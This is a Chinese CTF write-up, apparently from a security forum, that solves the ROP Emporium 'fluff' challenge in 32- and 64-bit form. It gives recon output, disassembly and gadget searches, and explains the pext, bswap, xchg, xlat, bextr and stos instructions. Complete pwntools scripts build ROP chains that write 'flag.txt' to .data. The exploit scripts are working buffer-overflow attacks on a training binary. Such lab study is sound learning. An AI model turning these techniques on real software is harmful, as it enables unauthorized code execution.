首页
社区
课程
招聘
[原创]writeup-ROP Emporium fluff
2022-3-26 12:37 14390

[原创]writeup-ROP Emporium fluff

2022-3-26 12:37
14390

目录

 

ROP Emporium的题曾经在2020年7月有过更新。比如,大多题目去掉了system函数,不能再获取shell,而是通过so中的print_file来获取flag;一些题目rop链可利用的指令也变了,更有挑战性,比如fluff 这道题。

 

当然有很多没变的,比如溢出点,32位程序偏移44字节,64位程序偏移40字节。

1. fluff32

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ file fluff32
fluff32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6da69ceae0128f63bb7160ba66f9189a126fdd86, not stripped
$ ldd fluff32
        linux-gate.so.1 (0xf7f11000)
        libfluff32.so => ./libfluff32.so (0xf7f09000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d16000)
        /lib/ld-linux.so.2 (0xf7f12000)
$ checksec libfluff32.so
[*] '/home/starr/Documents/CProject/pwn/libfluff32.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ readelf -S fluff32 | grep .data
  [16] .rodata           PROGBITS        080485d8 0005d8 000014 00   0   0  4
  [24] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4

黑盒测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ulimit -c unlimited
$ sudo bash -c 'echo %e.core.%p > /proc/sys/kernel/core_pattern'
$ cyclic 200 > cyclic.txt
$ ./fluff32 < cyclic.txt
fluff by ROP Emporium
x86
 
You know changing these strings means I have to rewrite my solutions...
> Thank you!
Segmentation fault (core dumped)
 
$ gdb ./fluff32 fluff32.core.9153
...
Core was generated by `./fluff32'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x6161616c in ?? ()
pwndbg> cyclic -l 0x6161616c
44

溢出点偏移44字节。

反汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
$ objdump -d -M intel fluff32
080483b0 <pwnme@plt>:
080483d0 <print_file@plt>:
08048506 <main>:
 8048506:       8d 4c 24 04             lea    ecx,[esp+0x4]
 804850a:       83 e4 f0                and    esp,0xfffffff0
 ...
 8048514:       83 ec 04                sub    esp,0x4
 8048517:       e8 94 fe ff ff          call   80483b0 <pwnme@plt>
 ...
0804852a <usefulFunction>:
 804852a:       55                      push   ebp
 804852b:       89 e5                   mov    ebp,esp
 804852d:       83 ec 08                sub    esp,0x8
 8048530:       83 ec 0c                sub    esp,0xc
 8048533:       68 e0 85 04 08          push   0x80485e0
 8048538:       e8 93 fe ff ff          call   80483d0 <print_file@plt>
 ...
08048543 <questionableGadgets>:
 8048543:       89 e8                   mov    eax,ebp
 8048545:       bb ba ba ba b0          mov    ebx,0xb0bababa
 804854a:       c4 e2 62 f5 d0          pext   edx,ebx,eax
 804854f:       b8 ef be ad de          mov    eax,0xdeadbeef
 8048554:       c3                      ret
 8048555:       86 11                   xchg   BYTE PTR [ecx],dl
 8048557:       c3                      ret
 8048558:       59                      pop    ecx
 8048559:       0f c9                   bswap  ecx
 804855b:       c3                      ret
$ objdump -d -M intel libfluff32.so
0000069d <pwnme>:
 ...
 6ed:   6a 20                   push   0x20
 6ef:   6a 00                   push   0x0
 6f1:   8d 45 d8                lea    eax,[ebp-0x28]
 6f4:   50                      push   eax
 6f5:   e8 86 fe ff ff          call   580 <memset@plt>
 ...
 724:   68 00 02 00 00          push   0x200
 729:   8d 45 d8                lea    eax,[ebp-0x28]
 72c:   50                      push   eax
 72d:   6a 00                   push   0x0
 72f:   e8 cc fd ff ff          call   500 <read@plt>
 ...
0000074f <print_file>:
 ...
 772:   ff 75 08                push   DWORD PTR [ebp+0x8]
 775:   e8 f6 fd ff ff          call   570 <fopen@plt>
 ...

ROP chain

乍一看这一题和write4那道题差不多,想着把”flag.txt“写进.data,但搜一下mov gadget的话,并没有以可控内存地址为目标的mov指令。

1
2
3
4
5
6
7
8
9
10
pwndbg> rop --grep "mov"
...
0x080484e7 : mov al, byte ptr [0xc9010804] ; ret
0x0804846d : mov al, byte ptr [0xd0ff0804] ; add esp, 0x10 ; leave ; ret
0x080484ba : mov al, byte ptr [0xd2ff0804] ; add esp, 0x10 ; leave ; ret
0x080484e4 : mov byte ptr [0x804a020], 1 ; leave ; ret
0x0804854f : mov eax, 0xdeadbeef ; ret
0x08048423 : mov ebx, dword ptr [esp] ; ret
0x0804837d : mov edi, 0x81000000 ; ret
0x0804847a : mov esp, 0x27 ; add bl, dh ; ret

先搜下pop吧:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> rop --grep "pop"
...
0x08048525 : pop ebp ; lea esp, [ecx - 4] ; ret
0x080485bb : pop ebp ; ret
0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048399 : pop ebx ; ret
0x08048558 : pop ecx ; bswap ecx ; ret
0x08048524 : pop ecx ; pop ebp ; lea esp, [ecx - 4] ; ret
0x080485ba : pop edi ; pop ebp ; ret
0x080485b9 : pop esi ; pop edi ; pop ebp ; ret
0x08048527 : popal ; cld ; ret

然后考虑怎么写字符串的问题。

 

其实除了mov还有很多指令可以利用,比如作者在questionableGadgets提供的xchg指令。

1
2
3
4
pwndbg> rop --grep "xchg"
0x08048553 : faddp st(3) ; xchg byte ptr [ecx], dl ; ret
0x08048552 : lodsd eax, dword ptr [esi] ; faddp st(3) ; xchg byte ptr [ecx], dl ; ret
0x08048555 : xchg byte ptr [ecx], dl ; ret

0x08048555这条xchg指令交换了内存和寄存器的一个字节,可以代替mov指令。但要想成功利用,需要能够控制ecx和edx寄存器,让ecx存储.data段地址,edx存储字符串的字符。

 

刚刚搜索的pop gadget中,有一个pop ecx, 紧跟另一个指令BSWAP(Byte Swap),这个指令可以更改字节序,比如eax==0x11223344, 执行BSWAP eax后,eax就变成0x44332211。那么我们可以让pop ecx按照大端序存储.data的地址。 其实这个指令也是作者在questionableGadgets提供的~

 

Intel文档截图:

 

 

最后要考虑怎么控制edx。在questionableGadgets的开头,mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax可以修改edx。

不过我用上面的rop, 以及 ropgadget, 都没有搜到这一段。。。尴尬了

 

PEXT ( Parallel Bits Extract)这条指令根据掩码(第二个源操作数),将源寄存器中对应的bit放到目标寄存器中的低位,比如:

1
2
3
4
5
6
pext output(edx), source(ebx), mask(eax)
output = pext(source, mask)
ebx = 0xFFFFFFFF
eax = b1111 0100
->
edx = 0x1F

Intel文档截图:

 

 

刚刚搜索的pop gadget里,0x080485bb有pop ebp指令,然后需要写个脚本,求出正确的掩码(mov eax, ebp),满足以下条件:

1
2
"flag" == pext(0xb0bababa, mask)
".txt" == pext(0xb0bababa, mask)

用位运算实现下面这段求解掩码的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
def getMask(nValue, nOutput):
    # nOutput = pext(nValue, nMask)
    # eg.
    #   nValue = 0xFF
    #   nMask = 0xF4
    #   ->
    #   nOutput = 0x1F
 
    nMask = 0;
    nLastBitFoundInValue = 1;
 
    # find the highest valid bit
    nInvalidBits = 0;
    for i in range(7):  # ascii
        if (nOutput & (1 << i)) != 0:
            nInvalidBits = i
 
    for i in range(nInvalidBits + 1): 
        while (nOutput & 1) != (nValue & 1):
            nLastBitFoundInValue += 1;
            if nLastBitFoundInValue == 33# 4 Bytes
                return False;
            nValue = nValue >> 1
 
        # found
        nOutput = nOutput >> 1
        nValue = nValue >> 1
        nMask |= 1 << (nLastBitFoundInValue - 1)
        nLastBitFoundInValue += 1
 
    return nMask
 
 
strEdx = "flag.txt"
nValue = 0xb0bababa
 
for c in strEdx:
    nMask = getMask(nValue, ord(c))
    # print(hex(nMask))

最终的ROP链:

1
2
3
4
5
6
7
8
9
10
11
12
13
padding  len 44
 
for i in range(len("flag.txt"))
    pGadgetPopEcx_bswap        # 0x08048558 : pop ecx ; bswap ecx ; ret
    pDataSection + i    # Big Endian    pop to ecx
    pGadgetPopEbp        # 0x080485bb : pop ebp ; ret
    nMask                # getMask("flag.txt"[i])    pop to ebp
    pGadgetPext            # 0x08048543 : mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax
    pGadgetXchg            # 0x08048555 : xchg byte ptr [ecx], dl ; ret   把字符写入.data
 
pPltPrintFile            # 0x080483d0
padding                    # 伪造的返回地址
pDataSection

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
 
context.arch = "i386"
context.bits = 32
context.os = "linux"
context.log_level = 'debug'
 
def getio(program):
    io = process(program)
    # io = gdb.debug([program], "b main")
    return io;
 
def getMask(nValue, nOutput):
    # nOutput = pext(nValue, nMask)
    # eg.
    #   nValue = 0xFF
    #   nMask = 0xF4
    #   ->
    #   nOutput = 0x1F
 
    nMask = 0;
    nLastBitFoundInValue = 1;
 
    # find the highest valid bit
    nInvalidBits = 0;
    for i in range(7):  # ascii
        if (nOutput & (1 << i)) != 0:
            nInvalidBits = i
 
    for i in range(nInvalidBits + 1): 
        while (nOutput & 1) != (nValue & 1):
            nLastBitFoundInValue += 1;
            if nLastBitFoundInValue == 33# 4 Bytes
                return False;
            nValue = nValue >> 1
 
        # found
        nOutput = nOutput >> 1
        nValue = nValue >> 1
        nMask |= 1 << (nLastBitFoundInValue - 1)
        nLastBitFoundInValue += 1
 
    return nMask
 
 
nBufOverflowIndex = 44
pPltPrintFile = 0x080483d0
pDataSection = 0x0804a018
pGadgetPopEcx_bswap = 0x08048558    # pop ecx ; bswap ecx ; ret
pGadgetPopEbp = 0x080485bb          # pop ebp ; ret
pGadgetPext = 0x08048543            # mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax
pGadgetXchg = 0x08048555            # xchg byte ptr [ecx], dl ; ret   把字符写入.data
 
 
# 1. padding
payload = bytes("A" * nBufOverflowIndex, encoding = "ascii");
 
 
# 2. Loop
strEdx = "flag.txt"
nValue = 0xb0bababa
for i in range(len(strEdx)):
    nMask = getMask(nValue, ord(strEdx[i]))
    # print(hex(nMask))
 
    # 2.1 write .data addr into ecx
    payload += p32(pGadgetPopEcx_bswap)        # 0x08048558 : pop ecx ; bswap ecx ; ret
    payload += p32(pDataSection + i, endianness="big")        # Big Endian    pop to ecx
 
    # 2.2 write nMask into ebp
    payload += p32(pGadgetPopEbp)        # 0x080485bb : pop ebp ; ret
    payload += p32(nMask)                # getMask("flag.txt"[i])    pop to ebp
    payload += p32(pGadgetPext)            # 0x08048543 : mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax
 
    # 2.3 write "flag.txt" into .data
    payload += p32(pGadgetXchg)            # 0x08048555 : xchg byte ptr [ecx], dl ; ret   把字符写入.data
 
# 3. print_file("flag.txt")
payload += p32(pPltPrintFile)            # 0x080483d0
payload += bytes("B" * int(context.bits/8), encoding = "ascii");                # 伪造的返回地址
payload += p32(pDataSection)
 
 
io = getio("./fluff32")
 
io.recvuntil(">")
 
# # gdb.attach(io)
# # pause()
io.sendline(payload)
print(io.recv(timeout=10))
io.interactive()
 
# [DEBUG] Received 0x2c bytes:
#     b'Thank you!\n'
#     b'ROPE{a_placeholder_32byte_flag!}\n'
# Thank you!
# ROPE{a_placeholder_32byte_flag!}

2. fluff

64位版本

信息收集

记录一下.data段的地址:

1
2
3
$ readelf -S fluff | grep .data
  [15] .rodata           PROGBITS         00000000004006c0  000006c0
  [23] .data             PROGBITS         0000000000601028  00001028

反汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
$ objdump -d -M intel libfluff.so
00000000000008aa <pwnme>:
 ...
 8eb:   48 8d 45 e0             lea    rax,[rbp-0x20]
 8ef:   ba 20 00 00 00          mov    edx,0x20
 8f4:   be 00 00 00 00          mov    esi,0x0
 8f9:   48 89 c7                mov    rdi,rax
 8fc:   e8 5f fe ff ff          call   760 <memset@plt>
 ...
 91e:   48 8d 45 e0             lea    rax,[rbp-0x20]
 922:   ba 00 02 00 00          mov    edx,0x200
 927:   48 89 c6                mov    rsi,rax
 92a:   bf 00 00 00 00          mov    edi,0x0
 92f:   e8 3c fe ff ff          call   770 <read@plt>  read(stdin, rbp-0x20, 0x200)
 ...
0000000000000943 <print_file>:
 943:   55                      push   rbp
 944:   48 89 e5                mov    rbp,rsp
 947:   48 83 ec 40             sub    rsp,0x40
 94b:   48 89 7d c8             mov    QWORD PTR [rbp-0x38],rdi
 94f:   48 c7 45 f8 00 00 00    mov    QWORD PTR [rbp-0x8],0x0
 956:   00
 957:   48 8b 45 c8             mov    rax,QWORD PTR [rbp-0x38]
 95b:   48 8d 35 f4 00 00 00    lea    rsi,[rip+0xf4]        # a56 <_fini+0x86>
 962:   48 89 c7                mov    rdi,rax
 965:   e8 36 fe ff ff          call   7a0 <fopen@plt>
 ...
$ objdump -d -M intel fluff
0000000000400500 <pwnme@plt>:
...
0000000000400510 <print_file@plt>:
...
0000000000400607 <main>:
  ...
  40060b:       e8 f0 fe ff ff          call   400500 <pwnme@plt>
0000000000400617 <usefulFunction>:
  ...
  40061b:       bf c4 06 40 00          mov    edi,0x4006c4
  400620:       e8 eb fe ff ff          call   400510 <print_file@plt>
0000000000400628 <questionableGadgets>:
  400628:       d7                      xlat   BYTE PTR ds:[rbx]
  400629:       c3                      ret
  40062a:       5a                      pop    rdx
  40062b:       59                      pop    rcx
  40062c:       48 81 c1 f2 3e 00 00    add    rcx,0x3ef2
  400633:       c4 e2 e8 f7 d9          bextr  rbx,rcx,rdx
  400638:       c3                      ret
  400639:       aa                      stos   BYTE PTR es:[rdi],al
  40063a:       c3                      ret
  40063b:       0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]

ROP chain

直接参考questionableGadgets吧,手动搜的话脑洞实在没有那么大~

 

首先注意到0x400639处的stos指令,它会逐字节地把al拷进rdi指向的内存,而且rdi自动递增。

 

通过搜索pop很容易找到pop rdi的指令,但是没有pop rax指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> rop --grep "pop"
...
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

作者在questionableGadgets开头准备了xlat(Table Look-up Translation)指令来控制al

 

Intel文档

 

 

其实就是把rbx看成数组取值:

1
al = byte ptr [rbx+al]

但又要控制al,好像死循环了,,,先忽略al,看看有没有办法操作rbx。

 

刚刚的rop工具又没有把usefulGadget提供的40062a处的pop rdx指令找出来,郁闷,,,这里有非常重要的BEXTR(Bit Filed Extract)指令,它可以改变rbx的值:

1
0x40062a : pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;

Intel官方文档

 

 

该指令和pext指令一样也有两个源操作数,可以从第一个源操作数中提取bits,第二个源操作数指定偏移和长度,举个例子:

1
2
3
4
5
6
7
8
bextr output, 0xd23aacda, 0x59
Input : 11010010001110101010110011011010 = 0xd23aacda
                          |-------|
                              \
                                \
                                 v
                               |-------|
Output: 00000000000000000000000101100110 = 0x00000166

我们需要利用bextr这个gadget使rbx存储”flag.txt“各个字节的地址,进而用xlat gadget使al存储各个字节。

flag.txt各个字符,可以在elf文件中找,而不是由栈中的payload提供。

 

梳理一下目前的rop链:

1
2
3
4
5
6
7
8
9
10
0x40062a : pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;   满足[rbx+al]这个地址存有目标字符,可以实现一个SetRbxToAddr函数
rdx
rcx
 
0x400628:  xlat   BYTE PTR ds:[rbx]; ret        al保存目标字节,比如"f", 可以实现一个SetAlToByte函数
 
0x00000000004006a3 : pop rdi ; ret
0x0000000000601028    .data地址
 
400639:  stos   BYTE PTR es:[rdi],al  往.data逐字节写入字符串"flag.txt"  rdi可以自动递增

调试分析

再回到al的问题,其实执行xlat时,只有al的初始值是不确定的,于是用脚本调试确认一下,同时试着搜索f:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# coding:utf-8
from pwn import *
 
context.arch = "amd64"
context.bits = 64
context.os = "linux"
 
def getio(program):
    io = process(program)
    # io = gdb.debug([program], "b main")
    return io;
 
 
nBufOverflowIndex = 0x28
pPltPrintFile = 0x0000000000400510
pGadgetBextrToSetRbx = 0x40062a    
pGadgetXlatToSetAl = 0x400628
pGadgetPopRdi = 0x00000000004006a3 
pGadgetStos = 0x400639
pDataSection = 0x0000000000601028
g_byAlWhenFirstXlat = 0x00           # 和xlat指令有关,这里需要调试一下,看当时的al值为多少
 
def setRbxToAddr(pTargetAddr, rop):
    rdx = ((2**6)<<8) | 0x00    # rcx: start 0, len 64
    rcx = pTargetAddr
    rop.raw(pGadgetBextrToSetRbx)
    rop.raw(rdx)
    rop.raw(rcx - 0x3ef2)      # add rcx, 0x3ef2;
 
def setAlToByte(byTarget, rop, elf, byRealTimeAl):
 
    pTargetByteAddr = next(elf.search(byTarget))
    pTargetRbx = pTargetByteAddr - byRealTimeAl
    setRbxToAddr(pTargetRbx, rop)
 
    rop.raw(pGadgetXlatToSetAl)     # xlat   BYTE PTR ds:[rbx]; --> al = [rbx+al]
 
program = "./fluff"
io = getio(program)
elf = ELF(program)
rop = ROP(program)
 
 
padding = b"A" * nBufOverflowIndex
 
rop.raw(pGadgetPopRdi)
rop.raw(pDataSection)
 
strFlagTxt = "flag.txt"
byRealTimeAl = g_byAlWhenFirstXlat
c = strFlagTxt[0]
setAlToByte(c, rop, elf, byRealTimeAl)
 
payload = b"".join([
    padding,
    rop.chain()
])
 
io.recvuntil(">")
 
gdb.attach(io)
pause()
io.sendline(payload)
print(io.recv(timeout=10))
io.interactive()

执行到xlatb时,AL初始值是0xb,而后续的al,其实就是”flag.txt“的各个字符,搜索前实时更新一下即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
RAX  0xb    !!!!!!!!!!!!!!!!!!!!!!
 RBX  0x0
 RCX  0x0
 RDX  0x0
 RDI  0x1
 RSI  0x7f4c211f17e3 (_IO_2_1_stdout_+131) ◂— 0x1f28c0000000000a /* '\n' */
 R8   0xa
 R9   0x7f4c21605740 ◂— 0x7f4c21605740
 R10  0x4
 R11  0x246
 R12  0x400520 (_start) ◂— xor    ebp, ebp
 R13  0x7ffde43196a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x4141414141414141 ('AAAAAAAA')
*RSP  0x7ffde43195d8 —▸ 0x7ffde431960a ◂— 0x7ffde431
*RIP  0x400628 (questionableGadgets) ◂— xlatb 
─────────[ DISASM ]───────────────
   0x40062a <questionableGadgets+2>     pop    rdx
   0x40062b <questionableGadgets+3>     pop    rcx
   0x40062c <questionableGadgets+4>     add    rcx, 0x3ef2
   0x400633 <questionableGadgets+11>    bextr  rbx, rcx, rdx
   0x400638 <questionableGadgets+16>    ret   
    
 0x400628 <questionableGadgets>       xlatb 
   0x400629 <questionableGadgets+1>     ret

执行xlatb指令后,gdb里验证一下, rax==‘f' , 即0x66,所以搜索逻辑也没问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
*RAX  0x66    !!!!!!!!!!!!!!!!!!!!!!
 RBX  0x4003b9 ◂— add    byte ptr [rax], al
 RCX  0x4003b9 ◂— add    byte ptr [rax], al
 RDX  0x4000
 ...
─────────────────────────────[ DISASM ]─────────────────────
   0x40062b       <questionableGadgets+3>     pop    rcx
   0x40062c       <questionableGadgets+4>     add    rcx, 0x3ef2
   0x400633       <questionableGadgets+11>    bextr  rbx, rcx, rdx
   0x400638       <questionableGadgets+16>    ret   
    
   0x400628       <questionableGadgets>       xlatb 
 0x400629       <questionableGadgets+1>     ret    <0x7ffc3bdc900a>

再次梳理一下rop链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
padding   溢出点0x28字节
 
pGadgetPopRdi    0x00000000004006a3   pop rdi ; ret    rdi后面用不到,在循环之前就存好.data section地址
pDataSection
 
for c in "flag.txt":
    pGadgetBextrToSetRbx     0x40062a : pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;  
                            满足[rbx+al]==c,可以实现一个SetRbxToAddr函数
    rdx     bextr命令的掩码
    rcx        c的地址-0x3ef2
 
    pGadgetXlatToSetAl  0x400628:  xlat   BYTE PTR ds:[rbx]; ret 
                        al保存目标字节c。可以实现一个SetAlToByte函数。注意payload里的al要实时更新
 
    pGadgetStos        400639:  stos   BYTE PTR es:[rdi],al  往.data逐字节写入字符串"flag.txt"  rdi可以自动递增
 
pGadgetPopRdi
pDataSection
pPltPrintFile        0x0000000000400510        print_file("flag.txt")

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
# coding:utf-8
from pwn import *
 
context.arch = "amd64"
context.bits = 64
context.os = "linux"
 
def getio(program):
    io = process(program)
    # io = gdb.debug([program], "b main")
    return io;
 
 
nBufOverflowIndex = 0x28
pPltPrintFile = 0x0000000000400510
pGadgetBextrToSetRbx = 0x40062a     # pop rdx;
                                    # pop rcx;
                                    # add rcx, 0x3ef2;
                                    # bextr rbx, rcx, rdx;
                                    # ret;  
                                    # 满足[rbx+al]这个地址存有目标字符,可以用SetRbxToAddr函数实现
pGadgetXlatToSetAl = 0x400628       # xlat   BYTE PTR ds:[rbx]; --> al = [rbx+al]
                                    # al保存目标字节,比如"f", 可以用SetAlToByte函数实现
pGadgetPopRdi = 0x00000000004006a3  # pop rdi ; ret
pGadgetStos = 0x400639              # stos   BYTE PTR es:[rdi],al  往.data逐字节写入字符串"flag.txt"
pDataSection = 0x0000000000601028   # .data地址
g_byRealTimeAlWhenFirstXlat = 0xb   # 和xlat指令有关这里需要调试一下,看当时的al值为多少
 
def setRbxToAddr(pTargetAddr, rop):
    rdx = ((2**6)<<8) | 0x00    # rcx: start 0, len 64
    rcx = pTargetAddr
    rop.raw(pGadgetBextrToSetRbx)
    rop.raw(rdx)
    rop.raw(rcx - 0x3ef2)      # add rcx, 0x3ef2;
 
def setAlToByte(byTarget, rop, elf, byRealTimeAl):
 
    # 2.1 set rbx to addr
    pTargetByteAddr = next(elf.search(byTarget))
    pTargetRbx = pTargetByteAddr - byRealTimeAl
    setRbxToAddr(pTargetRbx, rop)
 
    # 2.2 set al to the byte of "flag.txt"
    rop.raw(pGadgetXlatToSetAl)     # xlat   BYTE PTR ds:[rbx]; --> al = [rbx+al]
 
program = "./fluff"
io = getio(program)
elf = ELF(program)
rop = ROP(program)
 
 
# 1. buf overflow 
padding = b"A" * nBufOverflowIndex
 
# 2. write "flag.txt" into .data section
 
# 2.1 rdi not used later
rop.raw(pGadgetPopRdi)
rop.raw(pDataSection)
 
strFlagTxt = "flag.txt"
byRealTimeAl = g_byRealTimeAlWhenFirstXlat  # al的初始值
for c in strFlagTxt:
    setAlToByte(c, rop, elf, byRealTimeAl)
    byRealTimeAl = ord(c)    # 更新al
    rop.raw(pGadgetStos)
 
 
 
# 4. print_file("flag.txt")
rop.raw(pGadgetPopRdi)
rop.raw(pDataSection)
rop.raw(pPltPrintFile)
 
 
payload = b"".join([
    padding,
    rop.chain()
])
 
 
 
io.recvuntil(">")
 
# gdb.attach(io)
# pause()
 
io.sendline(payload)
print(io.recv(timeout=10))
io.interactive()
 
# Thank you!
# ROPE{a_placeholder_32byte_flag!}

3. 参考资料

ROP Emporium 2020 fluff 32bit :: mishap — infosec is just finding mishaps

 

PEXT — Parallel Bits Extract (felixcloutier.com)

 

XLAT指令_百度百科 (baidu.com)

 

assembly - How does the BEXTR instruction in x86 work - Stack Overflow

 

ROP Emporium - Fluff (x64) - blog.r0kithax.com

 

BEXTR — Bit Field Extract (felixcloutier.com)

 

XLAT/XLATB — Table Look-up Translation (felixcloutier.com)


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2022-3-26 19:11 被starrQWQ编辑 ,原因:
收藏
点赞3
打赏
分享
打赏 + 50.00雪花
打赏次数 1 雪花 + 50.00
 
赞赏  Editor   +50.00 2022/04/18 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (0)
游客
登录 | 注册 方可回帖
返回